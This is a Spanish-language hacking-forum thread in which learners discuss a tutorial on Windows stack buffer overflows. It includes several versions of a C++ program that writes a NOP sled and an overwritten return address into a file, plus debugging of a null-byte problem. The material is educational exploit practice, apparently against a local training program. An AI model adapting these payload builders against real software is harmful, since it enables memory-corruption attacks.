[Manual] Buffer Overflow en Windows

Iniciado por ikary, 8 Febrero 2010, 19:11 PM

0 Miembros y 1 Visitante están viendo este tema.

Garfield07

Hola Ikary! Creía que eras uno de los tantos usuarios que se merecen ser colaboradores que un día desaparecen y no vuelven a aparecer xD!

Hace ya tiempo encontré tu manual en Google, y creo que con decirte que gracias a tu manual aprendí a hacer buffers overflow basta para que entiendas que tu manual me ha servido muchísimo, lo califico de diez y dentro de todos los que he leído (incluyendo libros) tu manual se sitúa cómodamente en el segundo o tercer puesto. De ti he aprendido las bases de mis conocimientos sobre BoF, me has ayudado muchísimo, especialmente sobre la idea de FuncionOculta () a la que echaré mano en el taller de exploiting xD

PD: Si necesitas algo para la segunda entrega... xD
¡Un saludo y te espero ver mucho en el foro, compañero!
Sagrini


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

killr00t

Yo tengo una duda y es la siguiente cuando sobre escribo el retorno por lo que yo quiero que se ejecute, biens ea una funcion del mismo programa o una shellcode pues me redirecciona bien y me muestra lo que quiero el problema es que despues de ejecutarlo se queda mostrando la pantalla de enviar errores y en el manual de ikary pues al final dice que sera para el siguiente manual la solucion de este problema, ya esta por hay? o alguna idea como solucionarlo?

salud2

Acermax

#42
Estoy teniendo problemas a la hora de decidir la dirección de memoria sobreescrita, a ver si me podeis echar una mano.

Mi idea es que el EIP apunte a la dirección 00 40 16 3C, asi que hago esto en mi programa.

char ret[] = "\x3c\x16\x40\x00";

también le pongo los respectivos NOPS delante. Parece que el tema va bien, pero a la hora de ejecutar el programa a hacerle el overflow, me sigue saltando el error, y me dice que el EIP en el momento del error es  FF 40 16 3C, es decir, los 00 me los convierte en FF y obviamente me da un error de acceso a memoria. Sabeis por que puede ser esto?

Pongo el codigo completo del exploit...


#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;

int main(){
    char ret[] = "\x3c\x16\x40\x00";
    char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90";
    cout << "Creando el exploit...\n\n";
    ofstream f("archivo.txt");
    f << nops << ret;
    f.close();
    cout << "Finalizado...\n";
    getchar();
    return 0;
}


Y aquí el error, en el que se ve claramente lo que explico más arriba.


mordiskos

Muchisimas gracias por este excelente manual. Se agradece ver material de esta calidad!!

Acermax

#44
Bueno, tras estar depurándolo con el Ollydbg un buen rato, dí con la solución, aunque no sé si será lo mas agradable a la vista... Cambié el modo de escribir la dirección en el archivo creando una nueva variable de tipo 'char' en la que guardo la dirección 0x00, y posteriormente escribiéndola en el fichero.
Así quedaría el código del programa del exploit, por si alguien se encuentra con el mismo problema y le puede resultar útil.

#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;

int main(){
   unsigned char nose = 0x00;
   char ret[] = "\x34\x16\x40";
   char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90";
   cout << "Creando el exploit...\n\n";
   ofstream f("archivo.txt");
   f << nops << ret << nose;
   f.close();
   cout << "Finalizado...\n";
   return 0;
}


Un saludo.

Edito: Bueno, como no me gustaba mucho a la vista como había quedado, hice el código un poco más limpio a la vista utilizando un vector STL, y también funcional, espero que le sirva a alguien que esté siguiendo este tutorial o se esté inicuando en C++


#include <cstdlib>
#include <iostream>
#include <fstream>
#include <vector>

#define NOPS_MAX 316
using namespace std;

int main(){
    vector <unsigned char> nops(NOPS_MAX,0x90); //Creamos el vector de nops con
    // el numero de instrucciones NOP necesarias para el exploit, y la rellenamos
    // de NOP
   
    vector <unsigned char> ret(4);
    ret[0]=0x34; ret[1]=0x16; ret[2]=0x40; ret[3]=0x00;
    //Creamos el otro vector con el la direccion de memoria necesaria
       

    cout << "Creando el exploit...\n\n";
    ofstream f("archivo.txt");
   
    for (int i=0;i<nops.size();i++)
        f << nops[i];
       
    for (int i=0;i<ret.size();i++)
        f << ret[i];
    //f << nops << ret;
    f.close();
    cout << "Finalizado...\n";
    return 0;
}


mordiskos

Cita de: Debci en 29 Marzo 2010, 20:47 PM
:huh: :huh:

Esta subido a varios servidores en el post principal
http://foro.elhacker.net/bugs_y_exploits/manual_buffer_overflow_en_windows-t283879.0.html;msg1401254#msg1401254

Por cierto, aprobecho ya para contaros que ya esta en marcha el manual de BoF en Remoto.
Intentaré hacerlo conjuntamente con HoF ya que local y remoto son bastante parecidos  :silbar:

Un saludo

Como ya te dije, lo espero con ansias corrosivas...
DATE PRISA!!!!
XD

Saludos y gracias por tus aportes

JAJAJA, con ansias corrosivas!

Yo tambien lo espero pronto.

GRACIAS otra vez por tu trabajo!